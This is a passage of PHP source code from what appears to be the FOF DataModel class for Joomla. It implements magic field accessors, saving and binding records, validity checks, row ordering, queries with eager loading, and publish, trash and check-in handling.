$this->aliasFields) && array_key_exists($this->aliasFields[$name], $this->recordData)) { $name = $this->aliasFields[$name]; $value = $this->getFieldValue($name); } elseif ($this->relationManager->isMagicProperty($name)) { $value = $this->relationManager->$name; } // As the core function isset, the property must exists AND must be NOT null return ($value !== null); } /** * Magic getter. It will return the value of a field or, if no such field is found, the value of the relevant state * variable. * * Tip: Trying to get fltSomething will always return the value of the state variable "something" * * Tip: You can define custom field getter methods as getFieldNameAttribute, where FieldName is your field's name, * in CamelCase (even if the field name itself is in snake_case). * * @param string $name The name of the field / state variable to retrieve * * @return static|mixed */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } $isState = false; if (substr($name, 0, 3) == 'flt') { $isState = true; $name = strtolower(substr($name, 3, 1)) . substr($name, 4); } // If $name is a field name, get its value if (!$isState && array_key_exists($name, $this->recordData)) { return $this->getFieldValue($name); } elseif (!$isState && array_key_exists($name, $this->aliasFields) && array_key_exists($this->aliasFields[$name], $this->recordData)) { $name = $this->aliasFields[$name]; return $this->getFieldValue($name); } elseif ($this->relationManager->isMagicProperty($name)) { return $this->relationManager->$name; } // If $name is not a field name, get the value of a state variable else { return $this->getState($name); } } /** * Magic setter. It will set the value of a field or the value of a dynamic scope filter, or the value of the * relevant state variable. * * Tip: Trying to set fltSomething will always return the value of the state variable "something" * * Tip: Trying to set scopeSomething will always return the value of the dynamic scope filter "something" * * Tip: You can define custom field setter methods as setFieldNameAttribute, where FieldName is your field's name, * in CamelCase (even if the field name itself is in snake_case). * * @param string $name The name of the field / scope / state variable to set * @param mixed $value The value to set * * @return void */ public function __set($name, $value) { $isState = false; $isScope = false; if (substr($name, 0, 3) == 'flt') { $isState = true; $name = strtolower(substr($name, 3, 1)) . substr($name, 4); } elseif (substr($name, 0, 5) == 'scope') { $isScope = true; $name = strtolower(substr($name, 5, 1)) . substr($name, 5); } // If $name is a field name, set its value if (!$isState && !$isScope && array_key_exists($name, $this->recordData)) { $this->setFieldValue($name, $value); } elseif (!$isState && !$isScope && array_key_exists($name, $this->aliasFields) && array_key_exists($this->aliasFields[$name], $this->recordData)) { $name = $this->aliasFields[$name]; $this->setFieldValue($name, $value); } // If $name is a dynamic scope filter, set its value elseif ($isScope || method_exists($this, 'scope' . ucfirst($name))) { $method = 'scope' . ucfirst($name); $this->{$method}($value); } // If $name is not a field name, set the value of a state variable else { $this->setState($name, $value); } } /** * Returns a temporary instance of the model. Please note that this returns a _clone_ of the model object, not the * original object. The new object is set up to not save its stats, ignore the request when getting state variables * and comes with an empty state. The temporary object instance has its data reset as well. * * @return static */ public function tmpInstance() { return parent::tmpInstance()->reset(true, true); } /** * Adds a known field to the DataModel. This is only necessary if you are using a custom buildQuery with JOINs or * field aliases. Please note that you need to make further modifications for bind() and save() to work in this * case. Please refer to the documentation blocks of these methods for more information. It is generally considered * a very BAD idea using JOINs instead of relations. It complicates your life and is bound to cause bugs that are * very hard to track back. * * Basically, if you find yourself using this method you are probably doing something very wrong or very advanced. * If you do not feel confident with debugging FOF code STOP WHATEVER YOU'RE DOING and rethink your Model. Why are * you using a JOIN? If you want to filter the records by a field found in another table you can still use * relations and whereHas with a callback. * * @param string $fieldName The name of the field * @param mixed $default Default value, used by reset() (default: null) * @param string $type Database type for the field. If unsure use 'integer', 'float' or 'text'. * @param bool $replace Should we replace an existing known field definition? * * @return static */ public function addKnownField($fieldName, $default = null, $type = 'integer', $replace = false) { if (array_key_exists($fieldName, $this->knownFields) && !$replace) { return $this; } $info = (object) [ 'Default' => $default, 'Type' => $type, 'Null' => 'YES', ]; $this->knownFields[$fieldName] = $info; // Initialize only the null or not yet set records if (!isset($this->recordData[$fieldName])) { $this->recordData[$fieldName] = $default; } return $this; } /** * Get the columns from database table. For JTableInterface compatibility. * * @return mixed An array of the field names, or false if an error occurs. */ public function getFields() { return $this->getTableFields(); } /** * Get the columns from a database table. * * @param string $tableName Table name. If null current table is used * * @return mixed An array of the field names, or false if an error occurs. */ public function getTableFields($tableName = null) { // Make sure we have a list of tables in this db if (empty(static::$tableCache)) { static::$tableCache = $this->getDbo()->getTableList(); } if (!$tableName) { $tableName = $this->tableName; } // Try to load again column specifications if the table is not loaded OR if it's loaded and // the previous call returned an error if (!array_key_exists($tableName, static::$tableFieldCache) || (isset(static::$tableFieldCache[$tableName]) && !static::$tableFieldCache[$tableName]) ) { // Lookup the fields for this table only once. $name = $tableName; $prefix = $this->getDbo()->getPrefix(); if (substr($name, 0, 3) == '#__') { $checkName = $prefix . substr($name, 3); } else { $checkName = $name; } // Iterate through all lower/uppercase permutations of the prefix if we have a prefix with at least one uppercase letter if (!in_array($checkName, static::$tableCache) && preg_match('/[A-Z]/', $prefix) && (substr($name, 0, 3) == '#__')) { $prefixPermutations = $this->getPrefixCasePermutations(); $partialCheckName = substr($name, 3); foreach ($prefixPermutations as $permutatedPrefix) { $checkName = $permutatedPrefix . $partialCheckName; if (in_array($checkName, static::$tableCache)) { break; } } } if (!in_array($checkName, static::$tableCache)) { // The table doesn't exist. Return false. static::$tableFieldCache[$tableName] = false; } else { $fields = $this->getDbo()->getTableColumns($name, false); if (empty($fields)) { $fields = false; } static::$tableFieldCache[$tableName] = $fields; } // PostgreSQL date type compatibility if (($this->getDbo()->name == 'postgresql') && (static::$tableFieldCache[$tableName] != false)) { foreach (static::$tableFieldCache[$tableName] as $field) { if (strtolower($field->type) == 'timestamp without time zone') { if (stristr($field->Default, '\'::timestamp without time zone')) { [$date, ] = explode('::', $field->Default, 2); $field->Default = trim($date, "'"); } } } } } return static::$tableFieldCache[$tableName]; } /** * Get the database connection associated with this data Model * * @return JDatabaseDriver */ public function getDbo() { if (!is_object($this->dbo)) { $this->dbo = $this->container->db; } return $this->dbo; } /** * Returns the data currently bound to the model in an array format. Similar to toArray() but returns a copy instead * of the internal table itself. * * @return array */ public function getData() { $ret = []; foreach ($this->knownFields as $field => $info) { $ret[$field] = $this->getFieldValue($field); } return $ret; } /** * Return the value of the identity column of the currently loaded record * * @return mixed */ public function getId() { return $this->{$this->idFieldName}; } /** * Returns the name of the table's id field (primary key) name * * @return string */ public function getIdFieldName() { return $this->idFieldName; } /** * Alias of getIdFieldName. Used for JTableInterface compatibility. * * @return string The name of the primary key for the table. * * @codeCoverageIgnore */ public function getKeyName() { return $this->getIdFieldName(); } /** * Returns the database table name this model talks to * * @return string */ public function getTableName() { return $this->tableName; } /** * Returns the value of a field. If a field is not set it uses the $default value. Automatically uses magic * getter variables if required. * * @param string $name The name of the field to retrieve * @param mixed $default Default value, if the field is not set and doesn't have a getter method * * @return mixed The value of the field */ public function getFieldValue($name, $default = null) { if (array_key_exists($name, $this->aliasFields)) { $name = $this->aliasFields[$name]; } if (!array_key_exists($name, $this->knownFields)) { return $default; } if (!isset($this->recordData[$name])) { $this->recordData[$name] = $default; } return $this->recordData[$name]; } /** * Sets the value of a field. * * @param string $name The name of the field to set * @param mixed $value The value to set it to * * @return void */ public function setFieldValue($name, $value = null) { if (array_key_exists($name, $this->aliasFields)) { $name = $this->aliasFields[$name]; } if (array_key_exists($name, $this->knownFields)) { $this->recordData[$name] = $value; } } /** * Applies the getSomethingAttribute methods to $this->recordData, converting the database representation of the * data to the record representation. $this->recordData is directly modified. * * @return void */ public function databaseDataToRecordData() { foreach ($this->recordData as $name => $value) { $method = $this->container->inflector->camelize('get_' . $name . '_attribute'); if (method_exists($this, $method)) { $this->recordData[$name] = $this->{$method}($value); } } } /** * Applies the setSomethingAttribute methods to $this->recordData, converting the record representation to database * representation. It does not modify $this->recordData, it returns a copy of the data array. * * If you are using custom knownFields to cater for table JOINs you need to override this method and _remove_ the * fields which do not belong to the table you are saving to. It's generally a bad idea using JOINs instead of * relations. You have been warned! * * @return array */ public function recordDataToDatabaseData() { $copy = array_merge($this->recordData); foreach ($copy as $name => $value) { $method = $this->container->inflector->camelize('set_' . $name . '_attribute'); if (method_exists($this, $method)) { $copy[$name] = $this->{$method}($value); } } return $copy; } /** * Does this model know about a field called $fieldName? Automatically uses aliases when necessary. * * @param string $fieldName Field name to check * * @return boolean True if the field exists */ public function hasField($fieldName) { $realFieldName = $this->getFieldAlias($fieldName); return array_key_exists($realFieldName, $this->knownFields); } /** * Is this field known to the model and marked as nullable in the database? * * Automatically uses aliases when necessary. * * @param string $fieldName Field name to check * * @return bool True if the field is nullable or doesn't exist */ public function isNullableField(string $fieldName): bool { if (!$this->hasField($fieldName)) { return true; } $realFieldName = $this->getFieldAlias($fieldName); return strtolower($this->knownFields[$realFieldName]->Null ?? 'YES') == 'yes'; } /** * Get the real name of a field name based on its alias. If the field is not aliased $alias is returned * * @param string $alias The field to get an alias for * * @return string The real name of the field */ public function getFieldAlias($alias) { if (array_key_exists($alias, $this->aliasFields)) { return $this->aliasFields[$alias]; } else { return $alias; } } /** * Returns an array mapping relation names to their local key field names. * * For example, given a relation "foobar" with local key name "example_item_id" it will return: * ["foobar" => "example_item_id"] * * @return array Array of [relationName => fieldName] arrays * * @throws RelationNotFound */ public function getRelationFields() { $fields = []; $relationNames = $this->relationManager->getRelationNames(); if (empty($relationNames)) { return $fields; } foreach ($relationNames as $name) { $fields[$name] = $this->relationManager->getRelation($name)->getLocalKey(); } return $fields; } /** * Returns the qualified foreign model name, in the format "componentName.modelName", for the specified model * field. First it checks the relations you have defined. If none is found it will try to parse the field name as * following the componentName_modelName_id naming convention (FOF best practice and recommendation). * * This feature is used by the Blade compiler. * * @param string $fieldName The field name for which we'll get a foreign model name * * @return string */ public function getForeignModelNameFor($fieldName) { // First look for a local field mapped in a relationship try { $relationMap = $this->getRelationFields(); $relationName = array_search($fieldName, $relationMap); if ($relationName !== false) { $model = $this->relationManager->getRelation($relationName)->getForeignModel(); $component = $model->getContainer()->componentName; $modelName = $model->getName(); return "$component.$modelName"; } } catch (RelationNotFound $e) { // Bummer. The relation cannot be found. I will fall back to parsing the field name. } // Do I have a field following the componentName_modelName_id format? $parts = explode('_', $fieldName); if ((substr($fieldName, -3) != '_id') || (count($parts) < 3)) { throw new RuntimeException("Cannot determine the foreign model for local field '$fieldName'; it does not follow the expected component_model_id convention."); } $fieldName = substr($fieldName, 0, -3); [$component, $modelName] = explode('_', $fieldName, 2); $modelName = $this->container->inflector->camelize($modelName); return "$component.$modelName"; } /** * Save a record, creating it if it doesn't exist or updating it if it exists. By default it uses the currently set * data, unless you provide a $data array. * * Special note if you are using a custom buildQuery with JOINs or field aliases: * You will need to override the recordDataToDatabaseData method. Make sure that you _remove_ or rename any fields * which do not exist in the table defined in $this->tableName. Otherwise Joomla! will not know how to insert / * update the data on the table and will throw an Exception denoting a database error. It is generally a BAD idea * using JOINs instead of relations. If unsure, use relations. * * @param null|array $data [Optional] Data to bind * @param string $orderingFilter A WHERE clause used to apply table item reordering * @param array $ignore A list of fields to ignore when binding $data * * @para boolean $resetRelations Should I automatically reset relations if relation-important fields are * changed? * * @return static Self, for chaining */ public function save($data = null, $orderingFilter = '', $ignore = null, $resetRelations = true) { // Stash the primary key $oldPKValue = $this->getId(); // Call the onBeforeSave event $this->triggerEvent('onBeforeSave', [&$data]); // Get the relation to local field map and initialise the relationsAffected array $relationImportantFields = $this->getRelationFields(); $dataBeforeBind = []; // If we have relations we keep a copy of the data before bind. if (count($relationImportantFields)) { $dataBeforeBind = array_merge($this->recordData); } // Bind any (optional) data. If no data is provided, the current record data is used if (!is_null($data)) { $this->bind($data, $ignore); } // Is this a new record? if (empty($oldPKValue)) { $isNewRecord = true; } else { $isNewRecord = $oldPKValue != $this->getId(); } // Check the validity of the data $this->check(); // Get the database object $db = $this->getDbo(); // Insert or update the record. Note that the object we use for insertion / update is the a copy holding // the transformed data. $dataObject = $this->recordDataToDatabaseData(); $dataObject = (object) $dataObject; if ($isNewRecord) { $this->triggerEvent('onBeforeCreate', [&$dataObject]); // Insert the new record $db->insertObject($this->tableName, $dataObject, $this->idFieldName); // Update ourselves with the new ID field's value $this->{$this->idFieldName} = $db->insertid(); // Rebase the relations with the newly created model if ($resetRelations) { $this->relationManager->rebase($this); } $this->triggerEvent('onAfterCreate'); } else { $this->triggerEvent('onBeforeUpdate', [&$dataObject]); $db->updateObject($this->tableName, $dataObject, $this->idFieldName, true); $this->triggerEvent('onAfterUpdate'); } // If an ordering filter is set, attempt reorder the rows in the table based on the filter and value. if ($orderingFilter) { $filterValue = $this->$orderingFilter; $this->reorder($orderingFilter ? $db->qn($orderingFilter) . ' = ' . $db->q($filterValue) : ''); } // One more thing... Touch all relations in the $touches array if (!empty($this->touches)) { foreach ($this->touches as $relation) { $records = $this->getRelations()->getData($relation); if (!empty($records)) { if ($records instanceof DataModel) { $records = [$records]; } /** @var DataModel $record */ foreach ($records as $record) { $record->touch(); } } } } // If we have relations we compare the data to the copy of the data before bind. if (count($relationImportantFields) && $resetRelations) { // Since array_diff_assoc doesn't work recursively we have to do it the EXCRUCIATINGLY SLOW WAY. Sad panda :( $keysRecord = (is_array($this->recordData) && !empty($this->recordData)) ? array_keys($this->recordData) : []; $keysBefore = (is_array($dataBeforeBind) && !empty($dataBeforeBind)) ? array_keys($dataBeforeBind) : []; $keysAll = array_merge($keysRecord, $keysBefore); $keysAll = array_unique($keysAll); $modifiedFields = []; foreach ($keysAll as $key) { if (!isset($dataBeforeBind[$key]) || !isset($this->recordData[$key])) { $modifiedFields[] = $key; } elseif ($dataBeforeBind[$key] != $this->recordData[$key]) { $modifiedFields[] = $key; } } unset ($dataBeforeBind); if (count($modifiedFields)) { $relationsAffected = []; unset($modifiedData); foreach ($relationImportantFields as $relationName => $fieldName) { if (in_array($fieldName, $modifiedFields)) { $relationsAffected[] = $relationName; } } // Reset the relations which are affected by the save. This will force-reload the relations when you try to // access them again. $this->relationManager->resetRelationData($relationsAffected); } } // Finally, call the onAfterSave event $this->triggerEvent('onAfterSave'); return $this; } /** * Alias of save. For JTableInterface compatibility. * * @param boolean $updateNulls Blatantly ignored. * * @return boolean True on success. */ public function store($updateNulls = false) { try { $this->save(); } catch (Exception $e) { return false; } return true; } /** * Save a record, creating it if it doesn't exist or updating it if it exists. By default it uses the currently set * data, unless you provide a $data array. On top of that, it also saves all specified relations. If $relations is * null it will save all relations known to this model. * * @param null|array $data [Optional] Data to bind * @param string $orderingFilter A WHERE clause used to apply table item reordering * @param array $ignore A list of fields to ignore when binding $data * @param array $relations Which relations to save with the model's record. Leave null for all * relations * * @return static Self, for chaining */ public function push($data = null, $orderingFilter = '', $ignore = null, array $relations = null) { // Store the model's $touches definition $touches = $this->touches; // If $relations is non-null, remove $relations from $this->touches. Since $relations will be saved, they are // implicitly touched. We don't want to double-touch those records, do we? if (is_array($relations)) { $this->touches = array_diff($this->touches, $relations); } // Otherwise empty $this->touches completely as we'll be pushing all relations else { $this->touches = []; } // Save this record $this->save($data, $orderingFilter, $ignore, false); // Push all relations specified (or all relations if $relations is null) $relManager = $this->getRelations(); $allRelations = $relManager->getRelationNames(); if (!empty($allRelations)) { foreach ($allRelations as $relationName) { if (!is_null($relations) && !in_array($relationName, $relations)) { continue; } $relManager->save($relationName); } } // Restore the model's $touches definition $this->touches = $touches; // Return self for chaining return $this; } /** * Method to bind an associative array or object to the DataModel instance. This method optionally takes an array of * properties to ignore when binding. * * Special note if you are using a custom buildQuery with JOINs or field aliases: * You will need to use addKnownField to let FOF know that the fields from your JOINs and the aliased fields should * be bound to the record data. If you are using aliased fields you may also want to override the * databaseDataToRecordData method. Generally, it is a BAD idea using JOINs instead of relations. * * @param mixed $data An associative array or object to bind to the DataModel instance. * @param mixed $ignore An optional array or space separated list of properties to ignore while binding. * * @return static Self, for chaining * * @throws InvalidArgumentException * @throws Exception */ public function bind($data, $ignore = []) { $this->triggerEvent('onBeforeBind', [&$data]); // If the source value is not an array or object return false. if (!is_object($data) && !is_array($data)) { throw new InvalidArgumentException(Text::sprintf('LIB_FOF_MODEL_ERR_BIND', get_class($this), gettype($data))); } // If the ignore value is a string, explode it over spaces. if (!is_array($ignore)) { $ignore = explode(' ', $ignore); } // Bind the source value, excluding the ignored fields. foreach ($this->recordData as $k => $currentValue) { // Only process fields not in the ignore array. if (!in_array($k, $ignore)) { if (is_array($data) && isset($data[$k])) { $this->setFieldValue($k, $data[$k]); } elseif (is_object($data) && isset($data->$k)) { $this->setFieldValue($k, $data->$k); } } } // Perform data transformation $this->databaseDataToRecordData(); $this->triggerEvent('onAfterBind', [$data]); return $this; } /** * Check the data for validity. By default it only checks for fields declared as NOT NULL * * @return static Self, for chaining * * @throws RuntimeException When the data bound to this record is invalid */ public function check() { if (!$this->autoChecks) { return $this; } // Run a custom event $this->triggerEvent('onBeforeCheck'); // Create a slug if there is a title and an empty slug $slugField = $this->getFieldAlias('slug'); $titleField = $this->getFieldAlias('title'); if ($this->hasField('title') && $this->hasField('slug') && !$this->$slugField) { $this->$slugField = ApplicationHelper::stringURLSafe($this->$titleField); } // Special handling of the ordering field if ($this->hasField('ordering') && is_null($this->getFieldValue('ordering'))) { $this->setFieldValue('ordering', 0); } foreach ($this->knownFields as $fieldName => $field) { // Never check the key if it's empty; an empty key is normal for new records if ($fieldName == $this->idFieldName) { continue; } $value = $this->$fieldName; if (isset($field->Null) && ($field->Null == 'NO') && empty($value) && !is_numeric($value) && !in_array($fieldName, $this->fieldsSkipChecks)) { if (!is_null($field->Default)) { $this->$fieldName = $field->Default; continue; } $text = $this->container->componentName . '_' . $this->container->inflector->singularize($this->getName()) . '_ERR_' . $fieldName . '_EMPTY'; throw new RuntimeException(Text::_(strtoupper($text)), 500); } } return $this; } /** * Change the ordering of the records of the table * * @param string $where The WHERE clause of the SQL used to fetch the order * * @return static Self, for chaining * * @throws UnexpectedValueException */ public function reorder($where = '') { // If there is no ordering field set an error and return false. if (!$this->hasField('ordering')) { throw new SpecialColumnMissing(sprintf('%s does not support ordering.', $this->tableName)); } $this->triggerEvent('onBeforeReorder', [&$where]); $order_field = $this->getFieldAlias('ordering'); $k = $this->getIdFieldName(); $db = $this->getDbo(); // Get the primary keys and ordering values for the selection. $query = $db->getQuery(true) ->select($db->qn($k) . ', ' . $db->qn($order_field)) ->from($db->qn($this->getTableName())) ->where($db->qn($order_field) . ' >= ' . $db->q(0)) ->order($db->qn($order_field) . 'ASC, ' . $db->qn($k) . 'ASC'); // Setup the extra where and ordering clause data. if ($where) { $query->where($where); } $rows = $db->setQuery($query)->loadObjectList(); // Compact the ordering values. foreach ($rows as $i => $row) { // Make sure the ordering is a positive integer. if ($row->$order_field >= 0) { // Only update rows that are necessary. if ($row->$order_field != $i + 1) { // Update the row ordering field. $query = $db->getQuery(true) ->update($db->qn($this->getTableName())) ->set($db->qn($order_field) . ' = ' . $db->q($i + 1)) ->where($db->qn($k) . ' = ' . $db->q($row->$k)); $db->setQuery($query)->execute(); } } } $this->triggerEvent('onAfterReorder'); return $this; } /** * Method to move a row in the ordering sequence of a group of rows defined by an SQL WHERE clause. * Negative numbers move the row up in the sequence and positive numbers move it down. * * @param integer $delta The direction and magnitude to move the row in the ordering sequence. * @param string $where WHERE clause to use for limiting the selection of rows to compact the * ordering values. * * @return static Self, for chaining * * @throws UnexpectedValueException If the table does not support reordering * @throws RuntimeException If the record is not loaded */ public function move($delta, $where = '') { if (!$this->hasField('ordering')) { throw new SpecialColumnMissing(sprintf('%s does not support ordering.', $this->tableName)); } $this->triggerEvent('onBeforeMove', [&$delta, &$where]); $ordering_field = $this->getFieldAlias('ordering'); // If the change is none, do nothing. if (empty($delta)) { $this->triggerEvent('onAfterMove'); return $this; } $k = $this->idFieldName; $row = null; $db = $this->getDbo(); $query = $db->getQuery(true); // If the table is not loaded, return false if (empty($this->$k)) { throw new RecordNotLoaded(sprintf("Model %s does not have a loaded record", $this->getName())); } // Select the primary key and ordering values from the table. $query->select([ $db->qn($this->idFieldName), $db->qn($ordering_field), ] )->from($db->qn($this->tableName)); // If the movement delta is negative move the row up. if ($delta < 0) { $query->where($db->qn($ordering_field) . ' < ' . $db->q((int) $this->$ordering_field)); $query->order($db->qn($ordering_field) . ' DESC'); } // If the movement delta is positive move the row down. elseif ($delta > 0) { $query->where($db->qn($ordering_field) . ' > ' . $db->q((int) $this->$ordering_field)); $query->order($db->qn($ordering_field) . ' ASC'); } // Add the custom WHERE clause if set. if ($where) { $query->where($where); } // Select the first row with the criteria. $row = $db->setQuery($query, 0, 1)->loadObject(); // If a row is found, move the item. if (!empty($row)) { // Update the ordering field for this instance to the row's ordering value. $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($db->qn($ordering_field) . ' = ' . $db->q((int) $row->$ordering_field)) ->where($db->qn($k) . ' = ' . $db->q($this->$k)); $db->setQuery($query)->execute(); // Update the ordering field for the row to this instance's ordering value. $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($db->qn($ordering_field) . ' = ' . $db->q((int) $this->$ordering_field)) ->where($db->qn($k) . ' = ' . $db->q($row->$k)); $db->setQuery($query)->execute(); // Update the instance value. $this->$ordering_field = $row->$ordering_field; } $this->triggerEvent('onAfterMove'); return $this; } /** * Process a large collection of records a few at a time. * * @param integer $chunkSize How many records to process at once * @param callable $callback A callable to process each record * * @return static Self, for chaining */ public function chunk($chunkSize, $callback) { $totalItems = $this->count(); if (!$totalItems) { return $this; } $start = 0; while ($start < ($totalItems - 1)) { $this->get(true, $start, $chunkSize)->transform($callback); $start += $chunkSize; } return $this; } /** * Get the number of all items * * @return integer */ public function count() { // Get a "count all" query $db = $this->getDbo(); $query = $this->buildQuery(true); $query->clear('select')->clear('order')->select('COUNT(*)'); // Run the "before build query" hook and behaviours $this->triggerEvent('onBuildCountQuery', [&$query]); $total = $db->setQuery($query)->loadResult(); return $total; } /** * Build the query to fetch data from the database * * @param boolean $overrideLimits Should I override limits * * @return JDatabaseQuery The database query to use */ public function buildQuery($overrideLimits = false) { // Get a "select all" query $db = $this->getDbo(); $query = $db->getQuery(true) ->select('*') ->from($this->getTableName()); // Run the "before build query" hook and behaviours $this->triggerEvent('onBeforeBuildQuery', [&$query, $overrideLimits]); // Apply custom WHERE clauses if (count($this->whereClauses)) { foreach ($this->whereClauses as $clause) { $query->where($clause); } } $order = $this->getState('filter_order', null, 'cmd'); if (!array_key_exists($order, $this->knownFields)) { $order = $this->getIdFieldName(); $this->setState('filter_order', $order); } $order = $db->qn($order); $dir = strtoupper($this->getState('filter_order_Dir', null, 'cmd')); if (!in_array($dir, ['ASC', 'DESC'])) { $dir = 'ASC'; $this->setState('filter_order_Dir', $dir); } $query->order($order . ' ' . $dir); // Run the "before after query" hook and behaviours $this->triggerEvent('onAfterBuildQuery', [&$query, $overrideLimits]); return $query; } /** * Returns a DataCollection iterator based on your currently set Model state * * @param boolean $overrideLimits Should I ignore limits set in the Model? * @param integer $limitstart How many items to skip from the start, only when $overrideLimits = true * @param integer $limit How many items to return, only when $overrideLimits = true * * @return DataCollection The data collection */ public function get($overrideLimits = false, $limitstart = 0, $limit = 0) { if (!$overrideLimits) { $limitstart = $this->getState('limitstart', 0); $limit = $this->getState('limit', 0); } $dataCollection = DataCollection::make($this->getItemsArray($limitstart, $limit, $overrideLimits)); $this->eagerLoad($dataCollection, null); return $dataCollection; } /** * Returns a raw array of DataModel instances based on your currently set Model state * * @param integer $limitstart How many items from the start to skip (0 = do not skip) * @param integer $limit How many items to return (0 = all) * @param bool $overrideLimits Set to true to override limitstart, limit and ordering * * @return array Array of DataModel objects */ public function &getItemsArray($limitstart = 0, $limit = 0, $overrideLimits = false) { $itemsTemp = $this->getRawDataArray($limitstart, $limit, $overrideLimits); $items = []; while (!empty($itemsTemp)) { $data = array_shift($itemsTemp); /** @var DataModel $item */ $item = clone $this; $item->clearState()->reset(true); $item->bind($data); $items[$item->getId()] = $item; $item->relationManager = clone $this->relationManager; $item->relationManager->rebase($item); } $this->triggerEvent('onAfterGetItemsArray', [&$items]); return $items; } /** * Returns the raw data array, as fetched from the database, based on your currently set Model state * * @param integer $limitstart How many items from the start to skip (0 = do not skip) * @param integer $limit How many items to return (0 = all) * @param bool $overrideLimits Set to true to override limitstart, limit and ordering * * @return array Array of hashed arrays */ public function &getRawDataArray($limitstart = 0, $limit = 0, $overrideLimits = false) { $limitstart = max($limitstart, 0); $limit = max($limit, 0); $query = $this->buildQuery($overrideLimits); $db = $this->getDbo(); $db->setQuery($query, $limitstart, $limit); $rawData = $db->loadAssocList(); return $rawData; } /** * Eager loads the provided relations and assigns their data to a data collection * * @param DataCollection $dataCollection The data collection on which the eager loaded relations will be * applied * @param array|null $relations The relations to eager load. Leave empty to use the already defined * relations * * @return static for chaining */ public function eagerLoad(DataCollection &$dataCollection, array $relations = null) { if (empty($relations)) { $relations = $this->eagerRelations; } // Apply eager loaded relations if ($dataCollection->count() && !empty($relations)) { $relationManager = $this->getRelations(); foreach ($relations as $relation => $callback) { // Did they give us a relation name without a callback? if (!is_callable($callback) && is_string($callback) && !empty($callback)) { $relation = $callback; $callback = null; } $relationData = $relationManager->getData($relation, $callback, $dataCollection); $foreignKeyMap = $relationManager->getForeignKeyMap($relation); /** @var DataModel $item */ foreach ($dataCollection as $item) { $item->getRelations()->setDataFromCollection($relation, $relationData, $foreignKeyMap); } } } return $this; } /** * Archive the record, i.e. set enabled to 2 * * @return static For chaining */ public function archive() { if (!$this->getId()) { throw new RecordNotLoaded("Can't archive a not loaded DataModel"); } if (!$this->hasField('enabled')) { return $this; } $this->triggerEvent('onBeforeArchive', []); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = 2; $this->save(); $this->triggerEvent('onAfterArchive'); return $this; } /** * Trashes a record, either the currently loaded one or the one specified in $id. If an $id is specified that record * is loaded before trying to trash it. Unlike a hard delete, trashing is a "soft delete", only setting the enabled * field to -2. * * @param mixed $id Primary key (id field) value * * @return static for chaining */ public function trash($id = null) { if (!empty($id)) { $this->findOrFail($id); } $id = $this->getId(); if (!$id) { throw new RecordNotLoaded("Can't trash a not loaded DataModel"); } if (!$this->hasField('enabled')) { throw new SpecialColumnMissing("DataModel::trash method needs an 'enabled' field"); } $this->triggerEvent('onBeforeTrash', [&$id]); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = -2; $this->save(); $this->triggerEvent('onAfterTrash', [&$id]); return $this; } /** * Change the publish state of a record. By default it will set it to 1 (published) unless you specify a different * value. * * @param int $state The publish state. Default: 1 (published). * * @return static For chaining */ public function publish($state = 1) { if (!$this->getId()) { throw new RecordNotLoaded("Can't change the state of a not loaded DataModel"); } if (!$this->hasField('enabled')) { return $this; } $this->triggerEvent('onBeforePublish', []); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = $state; $this->save(); $this->triggerEvent('onAfterPublish'); return $this; } /** * Unpublish the record, i.e. set enabled to 0 * * @return static For chaining */ public function unpublish() { if (!$this->getId()) { throw new RecordNotLoaded("Can't unpublish a not loaded DataModel"); } if (!$this->hasField('enabled')) { return $this; } $this->triggerEvent('onBeforeUnpublish', []); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = 0; $this->save(); $this->triggerEvent('onAfterUnpublish'); return $this; } /** * Untrashes a record, either the currently loaded one or the one specified in $id. If an $id is specified that * record is loaded before trying to untrash it. Please note that enabled is set to 0 (unpublished) when you untrash * an item. * * @param mixed $id Primary key (id field) value * * @return static for chaining */ public function restore($id = null) { if (!$this->hasField('enabled')) { return $this; } if (!empty($id)) { $this->findOrFail($id); } $id = $this->getId(); if (!$id) { throw new RecordNotLoaded("Can't change the state of a not loaded DataModel"); } $this->triggerEvent('onBeforeRestore', [&$id]); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = 0; $this->save(); $this->triggerEvent('onAfterRestore', [&$id]); return $this; } /** * Creates a copy of the current record. After the copy is performed, the data model contains the data of the new * record. * * @param array|DataModel An associative array or object to bind to the DataModel instance. Allows you to * override values on the copied object. * * @return static */ public function copy($data = null) { $this->triggerEvent('onBeforeCopy'); $this->{$this->idFieldName} = null; if ($this->hasField('created_by')) { $this->setFieldValue('created_by', null); } if ($this->hasField('modified_by')) { $this->setFieldValue('modified_by', null); } if ($this->hasField('locked_by')) { $this->setFieldValue('locked_by', null); } if ($this->hasField('created_on')) { $this->setFieldValue('created_on', null); } if ($this->hasField('modified_on')) { $this->setFieldValue('modified_on', null); } if ($this->hasField('locked_on')) { $this->setFieldValue('locked_on', null); } $result = $this->save($data); $this->triggerEvent('onAfterCopy', [&$result]); return $result; } /** * Check-in an item. This works similar to unlock() but performs additional checks. If the item is locked by another * user you need to have adequate ACL privileges to unlock it, i.e. core.admin or core.manage component-wide * privileges; core.edit.state privileges component-wide or per asset; or be the creator of the item and have * core.edit.own privileges component-wide or per asset. * * @return static * * @throws LockedRecord If you don't have the privilege to check in this item */ public function checkIn($userId = null) { // If there is no loaded record we can't do much, I'm afraid if (!$this->getId()) { throw new RecordNotLoaded("Can't checkin a not loaded DataModel"); } // If the lock fields are missing we have nothing to do if (!$this->hasField('locked_by') && !$this->hasField('locked_on')) { return $this; } // If there's no locked_by field we just unlock and return if (!$this->hasField('locked_by')) { return $this->unlock(); } // If the current user and the user who locked the record are the same, unlock it. if (empty($userId)) { $userId = $this->container->platform->getUser()->id; } $lockedBy = $this->getFieldValue('locked_by'); if (empty($lockedBy) || ($lockedBy == $userId)) { return $this->unlock(); } // Get the component privileges $platform = $this->container->platform; $component = $this->container->componentName; $privileges = [ 'editown' => $platform->authorise('core.edit.own', $component), 'editstate' => $platform->authorise('core.edit.state', $component), 'admin' => $platform->authorise('core.admin', $component), 'manage' => $platform->authorise('core.manage', $component), ]; // If we are trackign assets get the item's privileges if ($this->isAssetsTracked()) { $assetKey = $this->getAssetKey(); $assetPrivileges = [ 'editown' => $platform->authorise('core.edit.own', $assetKey), 'editstate' => $platform->authorise('core.edit.state', $assetKey), ]; foreach ($assetPrivileges as $k => $v) { 